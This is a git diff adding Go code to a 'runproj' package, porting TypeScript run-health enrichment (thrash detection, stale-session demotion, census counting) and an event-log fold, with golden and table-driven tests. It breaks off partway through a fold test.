+	StatusCounts           nodeStatusCounts    `json:"statusCounts"`
+	AllStatusCounts        nodeStatusCounts    `json:"allStatusCounts"`
+	// Terminal reports whether every visible node has reached a terminal
+	// status. It is the single source of the status-terminality taxonomy
+	// (see terminalRunNodeStatuses / nonTerminalRunNodeStatuses); the client
+	// renders it instead of re-deriving the taxonomy in TypeScript.
+	Terminal bool `json:"terminal"`
+}
+
+// FormulaRunDetail is the run-detail DTO. Port of TS FormulaRunDetail. Field
+// order matches the object literal enrichFormulaRun returns (enrich.ts).
+type FormulaRunDetail struct {
+	RunID             string                 `json:"runId"`
+	RootBeadID        string                 `json:"rootBeadId"`
+	RootStoreRef      string                 `json:"rootStoreRef"`
+	ResolvedRootStore string                 `json:"resolvedRootStore"`
+	ScopeKind         string                 `json:"scopeKind"`
+	ScopeRef          string                 `json:"scopeRef"`
+	Title             string                 `json:"title"`
+	Formula           RunFormula             `json:"formula"`
+	FormulaDetail     RunFormulaDetailState  `json:"formulaDetail"`
+	ExecutionPath     RunExecutionPath       `json:"executionPath"`
+	SnapshotVersion   int                    `json:"snapshotVersion"`
+	SnapshotEventSeq  RunSnapshotSequence    `json:"snapshotEventSeq"`
+	Completeness      FormulaRunCompleteness `json:"completeness"`
+	Progress          FormulaRunProgress     `json:"progress"`
+	Phase             string                 `json:"phase"`
+	Stages            []RunStage             `json:"stages"`
+	Nodes             []RunDisplayNode       `json:"nodes"`
+	Edges             []RunDisplayEdge       `json:"edges"`
+	Lanes             []RunDisplayLane       `json:"lanes"`
+}
diff --git a/internal/runproj/enrich.go b/internal/runproj/enrich.go
new file mode 100644
index 0000000000..8f39978fdd
--- /dev/null
+++ b/internal/runproj/enrich.go
@@ -0,0 +1,332 @@
+package runproj
+
+import "time"
+
+// Run-health enrichment: a faithful Go port of the TypeScript run-summary enrich
+// composition (shared/src/runs/health.ts + liveness.ts, driven by the frontend
+// enrichRunSummary in supervisor/runSummary.ts). BuildRunSummary produces the
+// bead-derived summary with health/census in the unavailable shell;
+// EnrichRunSummary layers session-derived health + census on top.
+//
+// Per the run-view ADR the monotonic progress/thrash marks live in the per-city
+// tailer, not in this function: the caller advances them with
+// AdvanceProgressMarks once per fold generation and passes the result in, so a
+// request-time enrich never double-advances them.
+
+// attemptClimbMin and thrashDetectedStreak are the default health thresholds.
+// Port of TS DEFAULT_ATTEMPT_CLIMB_MIN / DEFAULT_THRASH_DETECTED_STREAK.
+const (
+	attemptClimbMin      = 1
+	thrashDetectedStreak = 2
+)
+
+// staleLatchAfterMs is the age past which a session-less, non-progressing open
+// run is demoted out of Active. Port of TS STALE_LATCH_AFTER_MS (24h).
+const staleLatchAfterMs = 24 * 60 * 60 * 1000
+
+// LaneProgressMark is the per-lane monotonic progress record the tailer carries
+// across fold generations to detect thrashing. Port of TS LaneProgressMark.
+type LaneProgressMark struct {
+	Progress     laneProgressComparison
+	ThrashStreak int
+}
+
+// laneProgressComparison is the comparable-progress union. Port of TS
+// LaneProgressComparison: {status:'comparable', stepId, stageIndex, attempt} |
+// {status:'not_comparable', error}.
+type laneProgressComparison struct {
+	Status     string // "comparable" | "not_comparable"
+	StepID     string
+	StageIndex int
+	Attempt    int
+	Error      string
+}
+
+// AdvanceProgressMarks folds the previous per-lane marks forward against the
+// current lanes, incrementing a lane's thrash streak when its graph position
+// stayed flat while the active step's attempt climbed. Port of TS
+// advanceProgressMarks. previous may be nil (cold start).
+func AdvanceProgressMarks(previous map[string]LaneProgressMark, lanes []RunLane) map[string]LaneProgressMark {
+	next := make(map[string]LaneProgressMark, len(lanes))
+	for _, lane := range lanes {
+		progress := comparableProgress(lane)
+		prior, hasPrior := previous[lane.ID]
+
+		positionFlat := hasPrior &&
+			prior.Progress.Status == "comparable" &&
+			progress.Status == "comparable" &&
+			prior.Progress.StepID == progress.StepID &&
+			prior.Progress.StageIndex == progress.StageIndex
+		climbed := hasPrior &&
+			prior.Progress.Status == "comparable" &&
+			progress.Status == "comparable" &&
+			progress.Attempt-prior.Progress.Attempt >= attemptClimbMin
+
+		thrashStreak := 0
+		if positionFlat && climbed {
+			thrashStreak = prior.ThrashStreak + 1
+		}
+
+		next[lane.ID] = LaneProgressMark{Progress: progress, ThrashStreak: thrashStreak}
+	}
+	return next
+}
+
+// EnrichRunSummary layers session-derived health and the city census onto a
+// bead-derived RunSummary. Port of the frontend enrichRunSummary: derive per-lane
+// health from the session list, split blocked lanes back out, demote stale
+// session-less latches out of Active, recompute counts and census. marks are the
+// tailer's advanced per-city marks (pass nil for a cold first generation); nowMs
+// is the snapshot generation time used for the stale-latch demotion.
+func EnrichRunSummary(s RunSummary, sessions []DashboardSession, sessionsAvailable bool, nowMs int64, marks map[string]LaneProgressMark) RunSummary {
+	inFlight := make([]RunLane, 0, len(s.Lanes)+len(s.BlockedLanes))
+	inFlight = append(inFlight, s.Lanes...)
+	inFlight = append(inFlight, s.BlockedLanes...)
+
+	lanes := deriveRunHealthLanes(inFlight, sessions, sessionsAvailable, marks)
+
+	blockedLanes := make([]RunLane, 0)
+	activeEnriched := make([]RunLane, 0)
+	for _, lane := range lanes {
+		if lane.Phase == "blocked" {
+			blockedLanes = append(blockedLanes, lane)
+		} else {
+			activeEnriched = append(activeEnriched, lane)
+		}
+	}
+
+	liveActive := make([]RunLane, 0, len(activeEnriched))
+	for _, lane := range activeEnriched {
+		if !isStaleSessionlessLatch(lane, nowMs, sessionsAvailable) {
+			liveActive = append(liveActive, lane)
+		}
+	}
+
+	censusInput := make([]RunLane, 0, len(liveActive)+len(blockedLanes))
+	censusInput = append(censusInput, liveActive...)
+	censusInput = append(censusInput, blockedLanes...)
+
+	out := s
+	out.TotalActive = len(liveActive)
+	out.Lanes = liveActive
+	out.BlockedLanes = blockedLanes
+	out.RunCounts = runCounts(liveActive, len(liveActive), len(blockedLanes))
+	out.Census = RunCensusState{Status: "available", Data: buildCensus(censusInput)}
+	return out
+}
+
+// deriveRunHealthLanes returns the lanes with engine-derived health. Port of the
+// lane-mapping half of TS deriveRunHealth (the census it also returns is recomputed
+// by the caller after demotion, so it is not returned here).
+func deriveRunHealthLanes(lanes []RunLane, sessions []DashboardSession, sessionsAvailable bool, marks map[string]LaneProgressMark) []RunLane {
+	out := make([]RunLane, 0, len(lanes))
+	for _, lane := range lanes {
+		enriched := lane
+
+		// Without the session list, health cannot be derived (gascity-dashboard
+		// 0gww): report the lane's health as genuinely unavailable rather than a
+		// degraded-but-available shell.
+		if !sessionsAvailable {
+			enriched.Health = RunLaneHealthState{Status: "unavailable", Error: "run session list unavailable"}
+			out = append(out, enriched)
+			continue
+		}
+
+		session, resolved := resolveLaneSession(lane, sessions)
+
+		phaseConfidence := "inferred"
+		if lane.FormulaStageResolved && resolved {
+			phaseConfidence = "known"
+		}
+
+		thrashStreak := marks[lane.ID].ThrashStreak
+
+		sessionState := RunLaneSessionState{Status: "unresolved", Error: "run session unresolved"}
+		if resolved {
+			sessionState = sessionFacts(session)
+		}
+
+		enriched.Health = RunLaneHealthState{
+			Status: "available",
+			Data: RunLaneHealth{
+				PhaseConfidence:   phaseConfidence,
+				NeedsOperator:     laneNeedsOperator(lane),
+				StuckNode:         stuckNode(lane),
+				ThrashingDetected: thrashStreak >= thrashDetectedStreak,
+				Session:           sessionState,
+			},
+		}
+		out = append(out, enriched)
+	}
+	return out
+}
+
+// laneNeedsOperator reports the structural human-gate signal. Port of TS
+// laneNeedsOperator: phase 'approval' or 'blocked'. Derived from lane.phase alone
+// so it stays valid during a session-list outage.
+func laneNeedsOperator(lane RunLane) bool {
+	return lane.Phase == "approval" || lane.Phase == "blocked"
+}
+
+// resolveLaneSession resolves the first of a lane's active assignees to a
+// session. Port of TS resolveLaneSession.
+func resolveLaneSession(lane RunLane, sessions []DashboardSession) (DashboardSession, bool) {
+	for _, assignee := range lane.ActiveAssignees {
+		if s, ok := resolveSessionForTarget(assignee, sessions); ok {
+			return s, true
+		}
+	}
+	return DashboardSession{}, false
+}
+
+// comparableProgress projects a lane's progress to the comparable shape used for
+// thrash detection. Port of TS comparableProgress.
+func comparableProgress(lane RunLane) laneProgressComparison {
+	if lane.Progress.Status != "active_step" {
+		return laneProgressComparison{Status: "not_comparable", Error: "run has no active step"}
+	}
+	if lane.Progress.Stage.Status != "available" {
+		return laneProgressComparison{Status: "not_comparable", Error: lane.Progress.Stage.Error}
+	}
+	if lane.Progress.Attempt.Status != "available" {
+		return laneProgressComparison{Status: "not_comparable", Error: lane.Progress.Attempt.Error}
+	}
+	return laneProgressComparison{
+		Status:     "comparable",
+		StepID:     lane.Progress.StepID,
+		StageIndex: lane.Progress.Stage.Index,
+		Attempt:    lane.Progress.Attempt.Value,
+	}
+}
+
+// stuckNode reports the semantic node a lane is parked on. Port of TS stuckNode.
+func stuckNode(lane RunLane) RunLaneStuckNode {
+	if lane.Progress.Status == "active_step" {
+		return RunLaneStuckNode{Status: "available", ID: lane.Progress.StepID}
+	}
+	return RunLaneStuckNode{Status: "unavailable", Error: "active run step unavailable"}
+}
+
+// sessionFacts projects a resolved session into the lane's session-fact union.
+// Port of TS sessionFacts.
+func sessionFacts(session DashboardSession) RunLaneSessionState {
+	lastActive := RunLaneSessionLastActive{Status: "unavailable", Error: "session last_active unavailable"}
+	if session.LastActive != nil {
+		lastActive = RunLaneSessionLastActive{Status: "available", At: *session.LastActive}
+	}
+	activity := RunLaneSessionActivity{Status: "unavailable", Error: "session activity unavailable"}
+	if session.Activity != nil {
+		activity = RunLaneSessionActivity{Status: "available", Value: *session.Activity}
+	}
+	return RunLaneSessionState{
+		Status:     "resolved",
+		LastActive: lastActive,
+		Running:    RunLaneSessionRunning{Status: "available", Value: session.Running},
+		Activity:   activity,
+	}
+}
+
+// buildCensus tallies a threshold-independent city census from the enriched
+// lanes. Port of TS buildCensus.
+func buildCensus(lanes []RunLane) RunCensus {
+	var byPhase RunCensusByPhase
+	totalInFlight := 0
+	unverifiable := 0
+	knownDenominator := 0
+	thrashing := 0
+
+	for _, lane := range lanes {
+		incCensusPhase(&byPhase, lane.Phase)
+		if lane.Phase == "complete" {
+			continue
+		}
+		totalInFlight++
+		if lane.Health.Status == "available" && lane.Health.Data.PhaseConfidence == "known" {
+			knownDenominator++
+			if lane.Health.Data.ThrashingDetected {
+				thrashing++
+			}
+		} else {
+			unverifiable++
+		}
+	}
+
+	return RunCensus{
+		ByPhase:          byPhase,
+		TotalInFlight:    totalInFlight,
+		Unverifiable:     unverifiable,
+		KnownDenominator: knownDenominator,
+		Thrashing:        thrashing,
+	}
+}
+
+func incCensusPhase(b *RunCensusByPhase, phase string) {
+	switch phase {
+	case "intake":
+		b.Intake++
+	case "implementation":
+		b.Implementation++
+	case "review":
+		b.Review++
+	case "approval":
+		b.Approval++
+	case "finalization":
+		b.Finalization++
+	case "blocked":
+		b.Blocked++
+	case "complete":
+		b.Complete++
+	case "active":
+		b.Active++
+	}
+}
+
+// isStaleSessionlessLatch reports whether an open, non-progressing, session-less
+// lane is old enough to demote out of Active. Port of TS isStaleSessionlessLatch.
+// nowMs is the snapshot generation time, not a live clock.
+func isStaleSessionlessLatch(lane RunLane, nowMs int64, sessionsAvailable bool) bool {
+	if !sessionsAvailable {
+		return false
+	}
+	if lane.Phase == "complete" || lane.Phase == "blocked" {
+		return false
+	}
+	if lane.Progress.Status == "active_step" {
+		return false
+	}
+	if laneSessionResolved(lane) {
+		return false
+	}
+	if lane.UpdatedAt.Status != "available" {
+		return false
+	}
+	// A parse failure means we cannot judge staleness — mirrors the TS
+	// Number.isFinite(ageMs) guard (Date.parse → NaN → not stale).
+	ms, ok := millisFromTimestamp(lane.UpdatedAt.At)
+	if !ok {
+		return false
+	}
+	return nowMs-ms >= staleLatchAfterMs
+}
+
+// laneSessionResolved reports whether a lane's enriched health carries a resolved
+// session. Port of TS laneSessionResolved.
+func laneSessionResolved(lane RunLane) bool {
+	return lane.Health.Status == "available" && lane.Health.Data.Session.Status == "resolved"
+}
+
+// millisFromTimestamp parses an RFC3339 timestamp to Unix milliseconds, reporting
+// ok=false on an empty or unparseable value (the TS Number.isFinite guard).
+func millisFromTimestamp(value string) (int64, bool) {
+	if value == "" {
+		return 0, false
+	}
+	t, err := time.Parse(time.RFC3339, value)
+	if err != nil {
+		t, err = time.Parse(time.RFC3339Nano, value)
+		if err != nil {
+			return 0, false
+		}
+	}
+	return t.UnixMilli(), true
+}
diff --git a/internal/runproj/enrich_test.go b/internal/runproj/enrich_test.go
new file mode 100644
index 0000000000..8f605078a2
--- /dev/null
+++ b/internal/runproj/enrich_test.go
@@ -0,0 +1,265 @@
+package runproj
+
+import (
+	"bytes"
+	"encoding/json"
+	"os"
+	"path/filepath"
+	"testing"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/beads"
+)
+
+// TestEnrichRunSummaryGolden pins the Go EnrichRunSummary port to the TypeScript
+// oracle: it folds the shared bead fixture into a bead-derived summary, advances
+// the cold marks, enriches it against the shared sessions fixture at the same
+// fixed generation time the generator used, and asserts the canonical JSON
+// matches runsummary_enriched_golden.json byte-for-byte.
+func TestEnrichRunSummaryGolden(t *testing.T) {
+	beadList := loadFixtureBeads(t)
+	sessions := loadFixtureSessions(t)
+
+	base := BuildRunSummary(beadList)
+
+	inFlight := make([]RunLane, 0, len(base.Lanes)+len(base.BlockedLanes))
+	inFlight = append(inFlight, base.Lanes...)
+	inFlight = append(inFlight, base.BlockedLanes...)
+	marks := AdvanceProgressMarks(nil, inFlight)
+
+	// Must equal the generation time frozen into runsummary_enriched_golden.json
+	// (captured from the now-retired gen-run-goldens.mts; the golden is the
+	// Go-owned source of truth).
+	nowMs := mustMillis(t, "2026-06-09T00:00:00Z")
+	enriched := EnrichRunSummary(base, sessions, true, nowMs, marks)
+
+	got, err := canonicalJSON(enriched)
+	if err != nil {
+		t.Fatalf("marshal enriched summary: %v", err)
+	}
+	want, err := os.ReadFile(filepath.Join("testdata", "runsummary_enriched_golden.json"))
+	if err != nil {
+		t.Fatalf("read golden: %v", err)
+	}
+	if !bytes.Equal(got, want) {
+		t.Errorf("enriched run summary does not match golden:\n%s", unifiedDiff(string(want), string(got)))
+	}
+}
+
+// TestDeriveRunHealthSessionUnavailability ports health.test.ts (gascity-dashboard
+// 0gww): without the session list every lane's health collapses to unavailable;
+// with it available, health derives.
+func TestDeriveRunHealthSessionUnavailability(t *testing.T) {
+	mk := func(id string) RunLane {
+		return RunLane{
+			ID:                   id,
+			Phase:                "implementation",
+			ActiveAssignees:      []string{"app/codex"},
+			UpdatedAt:            RunLaneUpdatedAt{Status: "available", At: "2026-06-08T00:00:00Z"},
+			Progress:             RunLaneProgress{Status: "unavailable", Error: "run progress unavailable"},
+			FormulaStageResolved: false,
+			Health:               runHealthUnavailable(),
+		}
+	}
+
+	t.Run("unavailable session list ⇒ every lane health unavailable", func(t *testing.T) {
+		lanes := deriveRunHealthLanes([]RunLane{mk("run-a"), mk("run-b")}, nil, false, nil)
+		for _, l := range lanes {
+			if l.Health.Status != "unavailable" {
+				t.Errorf("lane %s: health.status = %q, want unavailable", l.ID, l.Health.Status)
+			}
+			if l.Health.Error != "run session list unavailable" {
+				t.Errorf("lane %s: health.error = %q", l.ID, l.Health.Error)
+			}
+		}
+	})
+
+	t.Run("available session list ⇒ health derives", func(t *testing.T) {
+		lanes := deriveRunHealthLanes([]RunLane{mk("run-a")}, nil, true, nil)
+		if lanes[0].Health.Status != "available" {
+			t.Errorf("health.status = %q, want available", lanes[0].Health.Status)
+		}
+	})
+}
+
+// TestIsStaleSessionlessLatch ports liveness.test.ts (gascity-dashboard-s4rp):
+// the sharp session-less demotion predicate.
+func TestIsStaleSessionlessLatch(t *testing.T) {
+	nowMs := mustMillis(t, "2026-06-07T00:00:00Z")
+
+	at := func(deltaMs int64) RunLaneUpdatedAt {
+		return RunLaneUpdatedAt{Status: "available", At: time.UnixMilli(nowMs - deltaMs).UTC().Format(time.RFC3339)}
+	}
+	health := func(session string) RunLaneHealthState {
+		sess := RunLaneSessionState{Status: "unresolved", Error: "run session unresolved"}
+		if session == "resolved" {
+			sess = RunLaneSessionState{
+				Status:     "resolved",
+				LastActive: RunLaneSessionLastActive{Status: "available", At: "2026-06-07T00:00:00Z"},
+				Running:    RunLaneSessionRunning{Status: "available", Value: true},
+				Activity:   RunLaneSessionActivity{Status: "available", Value: "working"},
+			}
+		}
+		return RunLaneHealthState{Status: "available", Data: RunLaneHealth{
+			PhaseConfidence:   "inferred",
+			StuckNode:         RunLaneStuckNode{Status: "unavailable", Error: "active run step unavailable"},
+			ThrashingDetected: false,
+			Session:           sess,
+		}}
+	}
+	// The gc-1920 baseline: approval-gate latch, unresolved session, no active
+	// step, ~4 days stale.
+	base := RunLane{
+		ID:              "gc-1920",
+		Phase:           "approval",
+		ActiveAssignees: []string{},
+		UpdatedAt:       at(4 * 24 * 60 * 60 * 1000),
+		Progress:        RunLaneProgress{Status: "unavailable", Error: "run progress unavailable"},
+		Health:          health("unresolved"),
+	}
+	withProgress := base
+	withProgress.Progress = RunLaneProgress{
+		Status:  "active_step",
+		StepID:  "implementation.patch",
+		Stage:   RunLaneStagePosition{Status: "unavailable", Error: "active run stage unavailable"},
+		Attempt: RunLaneStepAttempt{Status: "unavailable", Error: "run step attempt unavailable"},
+	}
+
+	clone := func(mut func(*RunLane)) RunLane {
+		l := base
+		mut(&l)
+		return l
+	}
+
+	cases := []struct {
+		name              string
+		lane              RunLane
+		sessionsAvailable bool
+		want              bool
+	}{
+		{"demotes stale gc-1920 latch", base, true, true},
+		{"keeps freshly-queued recent run", clone(func(l *RunLane) { l.Phase = "intake"; l.UpdatedAt = at(60_000) }), true, false},
+		{"keeps recent approval gate", clone(func(l *RunLane) { l.UpdatedAt = at(30 * 60_000) }), true, false},
+		{"keeps stale run with resolved session", clone(func(l *RunLane) { l.Health = health("resolved") }), true, false},
+		{"keeps stale run with in_progress step", withProgress, true, false},
+		{"no demotion when session list unavailable", base, false, false},
+		{"never demotes complete", clone(func(l *RunLane) { l.Phase = "complete" }), true, false},
+		{"never demotes blocked", clone(func(l *RunLane) { l.Phase = "blocked" }), true, false},
+		{"no demotion without known age", clone(func(l *RunLane) {
+			l.UpdatedAt = RunLaneUpdatedAt{Status: "unavailable", Error: "run update time unavailable"}
+		}), true, false},
+		{"boundary just under floor stays", clone(func(l *RunLane) { l.UpdatedAt = at(staleLatchAfterMs - 1_000) }), true, false},
+		{"boundary at floor demotes", clone(func(l *RunLane) { l.UpdatedAt = at(staleLatchAfterMs) }), true, true},
+	}
+	for _, tc := range cases {
+		t.Run(tc.name, func(t *testing.T) {
+			if got := isStaleSessionlessLatch(tc.lane, nowMs, tc.sessionsAvailable); got != tc.want {
+				t.Errorf("isStaleSessionlessLatch = %v, want %v", got, tc.want)
+			}
+		})
+	}
+}
+
+// TestAdvanceProgressMarksThrash exercises the cross-generation monotonicity the
+// golden cannot reach (one snapshot ⇒ all streaks 0): a lane whose graph position
+// stays flat while the active step's attempt climbs accrues a thrash streak, and
+// the census counts it as thrashing only once the streak crosses the threshold
+// AND the lane is phaseConfidence 'known'.
+func TestAdvanceProgressMarksThrash(t *testing.T) {
+	mkLane := func(attempt int) RunLane {
+		return RunLane{
+			ID:                   "run-thrash",
+			Phase:                "review",
+			ActiveAssignees:      []string{"pool-x"},
+			FormulaStageResolved: true,
+			UpdatedAt:            RunLaneUpdatedAt{Status: "available", At: "2026-06-08T00:00:00Z"},
+			Progress: RunLaneProgress{
+				Status:  "active_step",
+				StepID:  "review-loop",
+				Stage:   RunLaneStagePosition{Status: "available", Index: 1, Key: "review", Label: "Review"},
+				Attempt: RunLaneStepAttempt{Status: "available", Value: attempt},
+			},
+			Health: runHealthUnavailable(),
+		}
+	}
+	session := DashboardSession{ID: "s1", SessionName: "x", State: "active", Provider: "claude", Running: true}
+	session.Alias = ptr("pool-x")
+	sessions := []DashboardSession{session}
+
+	// Generation 1: attempt 1, no prior marks ⇒ streak 0.
+	g1 := []RunLane{mkLane(1)}
+	marks := AdvanceProgressMarks(nil, g1)
+	if marks["run-thrash"].ThrashStreak != 0 {
+		t.Fatalf("gen1 streak = %d, want 0", marks["run-thrash"].ThrashStreak)
+	}
+
+	// Generation 2: same stage/step, attempt climbed to 2 ⇒ streak 1.
+	g2 := []RunLane{mkLane(2)}
+	marks = AdvanceProgressMarks(marks, g2)
+	if marks["run-thrash"].ThrashStreak != 1 {
+		t.Fatalf("gen2 streak = %d, want 1", marks["run-thrash"].ThrashStreak)
+	}
+
+	// Generation 3: attempt climbed to 3 ⇒ streak 2 ⇒ thrashingDetected.
+	g3 := []RunLane{mkLane(3)}
+	marks = AdvanceProgressMarks(marks, g3)
+	if marks["run-thrash"].ThrashStreak != 2 {
+		t.Fatalf("gen3 streak = %d, want 2", marks["run-thrash"].ThrashStreak)
+	}
+
+	lanes := deriveRunHealthLanes(g3, sessions, true, marks)
+	h := lanes[0].Health
+	if h.Status != "available" || !h.Data.ThrashingDetected {
+		t.Fatalf("expected thrashingDetected with known confidence, got %+v", h)
+	}
+	if h.Data.PhaseConfidence != "known" {
+		t.Fatalf("phaseConfidence = %q, want known", h.Data.PhaseConfidence)
+	}
+	census := buildCensus(lanes)
+	if census.Thrashing != 1 || census.KnownDenominator != 1 {
+		t.Fatalf("census thrashing=%d knownDenominator=%d, want 1/1", census.Thrashing, census.KnownDenominator)
+	}
+
+	// A flat attempt resets the streak to 0 (progress stalled, not thrashing).
+	marks = AdvanceProgressMarks(marks, []RunLane{mkLane(3)})
+	if marks["run-thrash"].ThrashStreak != 0 {
+		t.Fatalf("flat-attempt streak = %d, want 0", marks["run-thrash"].ThrashStreak)
+	}
+}
+
+func loadFixtureBeads(t *testing.T) []beads.Bead {
+	t.Helper()
+	raw, err := os.ReadFile(filepath.Join("testdata", "beads_fixture.json"))
+	if err != nil {
+		t.Fatalf("read bead fixture: %v", err)
+	}
+	var beadList []beads.Bead
+	if err := json.Unmarshal(raw, &beadList); err != nil {
+		t.Fatalf("unmarshal bead fixture: %v", err)
+	}
+	return beadList
+}
+
+func loadFixtureSessions(t *testing.T) []DashboardSession {
+	t.Helper()
+	raw, err := os.ReadFile(filepath.Join("testdata", "sessions_fixture.json"))
+	if err != nil {
+		t.Fatalf("read sessions fixture: %v", err)
+	}
+	var sessions []DashboardSession
+	if err := json.Unmarshal(raw, &sessions); err != nil {
+		t.Fatalf("unmarshal sessions fixture: %v", err)
+	}
+	return sessions
+}
+
+func mustMillis(t *testing.T, value string) int64 {
+	t.Helper()
+	ms, ok := millisFromTimestamp(value)
+	if !ok {
+		t.Fatalf("parse %q failed", value)
+	}
+	return ms
+}
+
+func ptr(s string) *string { return &s }
diff --git a/internal/runproj/filter_test.go b/internal/runproj/filter_test.go
new file mode 100644
index 0000000000..78f56cf2d0
--- /dev/null
+++ b/internal/runproj/filter_test.go
@@ -0,0 +1,46 @@
+package runproj
+
+import (
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/beadmeta"
+	"github.com/gastownhall/gascity/internal/beads"
+)
+
+// TestFilterRunBeads pins the projection-boundary filter policy: engineering
+// types and gc.kind=run roots are kept, while gc:-labeled control beads and
+// non-run bookkeeping types (message/session) are dropped. This is the analog of
+// the frontend runBeadFilter (summary.ts) that the live tailer applies
+// before the pure summary/detail builders.
+func TestFilterRunBeads(t *testing.T) {
+	in := []beads.Bead{
+		{ID: "root", Type: "molecule", Metadata: map[string]string{beadmeta.KindMetadataKey: "run"}},
+		{ID: "task", Type: "task"},
+		{ID: "bug", Type: "bug"},
+		{ID: "ctl", Type: "task", Labels: []string{"gc:control"}},
+		{ID: "msg", Type: "message", Metadata: map[string]string{beadmeta.RootBeadIDMetadataKey: "root"}},
+		{ID: "sess", Type: "session"},
+		{ID: "run-labeled", Type: "molecule", Labels: []string{"gc:workflow"}, Metadata: map[string]string{beadmeta.KindMetadataKey: "run"}},
+	}
+
+	got := FilterRunBeads(in)
+
+	gotIDs := map[string]bool{}
+	for _, b := range got {
+		gotIDs[b.ID] = true
+	}
+	want := map[string]bool{"root": true, "task": true, "bug": true}
+	for id := range want {
+		if !gotIDs[id] {
+			t.Errorf("FilterRunBeads dropped %q; it should be kept", id)
+		}
+	}
+	for _, id := range []string{"ctl", "msg", "sess", "run-labeled"} {
+		if gotIDs[id] {
+			t.Errorf("FilterRunBeads kept %q; a gc:-labeled or non-run bead must be dropped", id)
+		}
+	}
+	if len(got) != len(want) {
+		t.Errorf("FilterRunBeads returned %d beads, want %d (%v)", len(got), len(want), gotIDs)
+	}
+}
diff --git a/internal/runproj/fold.go b/internal/runproj/fold.go
new file mode 100644
index 0000000000..d3af1a7ee3
--- /dev/null
+++ b/internal/runproj/fold.go
@@ -0,0 +1,112 @@
+// Package runproj projects the dashboard run view from a city's append-only
+// event log (.gc/events.jsonl) — the OSS-local analog of the hosted ClickHouse
+// run projection. It folds bead lifecycle events into the latest bead snapshot
+// per id and (in later phases) builds the RunSummary and run-detail off that
+// fold, so the run view no longer scans the beads molecule history.
+//
+// Layering: this is object-model-layer code. It depends only on internal/beads
+// and internal/events, never on the API or CLI layers, so the same projection
+// can back any consumer.
+package runproj
+
+import (
+	"github.com/gastownhall/gascity/internal/beadmeta"
+	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/events"
+)
+
+// FoldStats reports observable signal from a fold pass. DecodeMisses counts
+// bead.* events whose payload did not decode to a bead with an id — the exact
+// silent-starve signature the run-view RCA identified. A non-zero value on a
+// live tail means the projection is dropping bead snapshots and the run view
+// will render blank/stale; the caller (the dashboard run tailer) surfaces it.
+type FoldStats struct {
+	DecodeMisses int
+}
+
+// beadEventTypes are the event types the fold consumes; everything else is
+// ignored. Kept as a set so callers can pre-filter a read if they want.
+var beadEventTypes = map[string]bool{
+	events.BeadCreated: true,
+	events.BeadUpdated: true,
+	events.BeadClosed:  true,
+	events.BeadDeleted: true,
+}
+
+// Fold reduces a chronological (seq-ordered) event slice to the latest bead
+// snapshot per id. bead.created/updated/closed upsert the snapshot;
+// bead.deleted removes it. Non-bead events are ignored. The result is the input
+// to buildRunSummary / buildRunDetail.
+func Fold(evts []events.Event) map[string]beads.Bead {
+	out := make(map[string]beads.Bead)
+	Apply(out, evts)
+	return out
+}
+
+// Apply folds evts into an existing bead map in place (the live-tail path:
+// apply newly-watched events to the warm snapshot). Returns the highest seq
+// applied (so the caller can advance its cursor) and the pass's FoldStats (so a
+// silent decode-starve becomes observable rather than a bare continue).
+func Apply(into map[string]beads.Bead, evts []events.Event) (lastSeq uint64, stats FoldStats) {
+	for i := range evts {
+		e := &evts[i]
+		if e.Seq > lastSeq {
+			lastSeq = e.Seq
+		}
+		if !beadEventTypes[e.Type] {
+			continue
+		}
+		b, ok := decodeBead(*e)
+		if !ok {
+			stats.DecodeMisses++
+			continue
+		}
+		if e.Type == events.BeadDeleted {
+			delete(into, b.ID)
+			continue
+		}
+		into[b.ID] = b
+	}
+	return lastSeq, stats
+}
+
+// decodeBead extracts a beads.Bead from a bead.* event via the shared canonical
+// decoder (beads.DecodeBeadEventPayload) — the raw bead snapshot
+// CachingStore.notifyChange emits, with the wrapped {"bead": ...} form accepted
+// as a tolerant fallback. A payload without an id is a decode miss.
+//
+// After decoding, it backfills the run/step correlation ids from the event
+// envelope onto the bead's metadata when the envelope carries them and the
+// payload does not. The correlation spine promoted run_id/session_id/step_id to
+// typed envelope fields and is removing the metadata duplication the run view
+// still groups on; backfilling here keeps run/step grouping alive once the
+// duplicate metadata is gone. run_id is intentionally NOT synthesized —
+// ResolveRunID already falls back to the bead's own id.
+func decodeBead(e events.Event) (beads.Bead, bool) {
+	b, ok := beads.DecodeBeadEventPayload(e.Payload)
+	if !ok {
+		return beads.Bead{}, false
+	}
+	b.Metadata = backfillEnvelopeIDs(b.Metadata, e)
+	return b, true
+}
+
+// backfillEnvelopeIDs fills the step/session correlation ids from the event
+// envelope into a bead metadata map, but only when the envelope carries the id
+// and the payload metadata does not (the payload snapshot stays authoritative).
+func backfillEnvelopeIDs(md map[string]string, e events.Event) map[string]string {
+	md = fillIfAbsent(md, beadmeta.StepIDMetadataKey, e.StepID)
+	md = fillIfAbsent(md, beadmeta.SessionIDMetadataKey, e.SessionID)
+	return md
+}
+
+func fillIfAbsent(md map[string]string, key, value string) map[string]string {
+	if value == "" || md[key] != "" {
+		return md
+	}
+	if md == nil {
+		md = make(map[string]string, 1)
+	}
+	md[key] = value
+	return md
+}
diff --git a/internal/runproj/fold_test.go b/internal/runproj/fold_test.go
new file mode 100644
index 0000000000..87b0ac6594
--- /dev/null
+++ b/internal/runproj/fold_test.go
@@ -0,0 +1,153 @@
+package runproj
+
+import (
+	"encoding/json"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/beadmeta"
+	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/events"
+)
+
+// beadEvent builds a bead.* event with the REAL producer payload shape — the
+// raw bead snapshot json.Marshal(b) emits (never the wrapped {"bead":...} form,
+// which no producer writes). See CachingStore.notifyChange.
+func beadEvent(seq uint64, typ, id, status string) events.Event {
+	payload, _ := json.Marshal(beads.Bead{ID: id, Status: status, Type: "task"})
+	return events.Event{Seq: seq, Type: typ, Payload: payload}
+}
+
+func TestFoldKeepsLatestSnapshotPerID(t *testing.T) {
+	evts := []events.Event{
+		beadEvent(1, events.BeadCreated, "a", "open"),
+		beadEvent(2, events.BeadCreated, "b", "open"),
+		beadEvent(3, events.BeadUpdated, "a", "in_progress"),
+		beadEvent(4, events.BeadClosed, "b", "closed"),
+		{Seq: 5, Type: events.SessionWoke, Subject: "worker-1"}, // ignored
+		beadEvent(6, events.BeadCreated, "c", "open"),
+		beadEvent(7, events.BeadDeleted, "c", "open"),
+	}
+
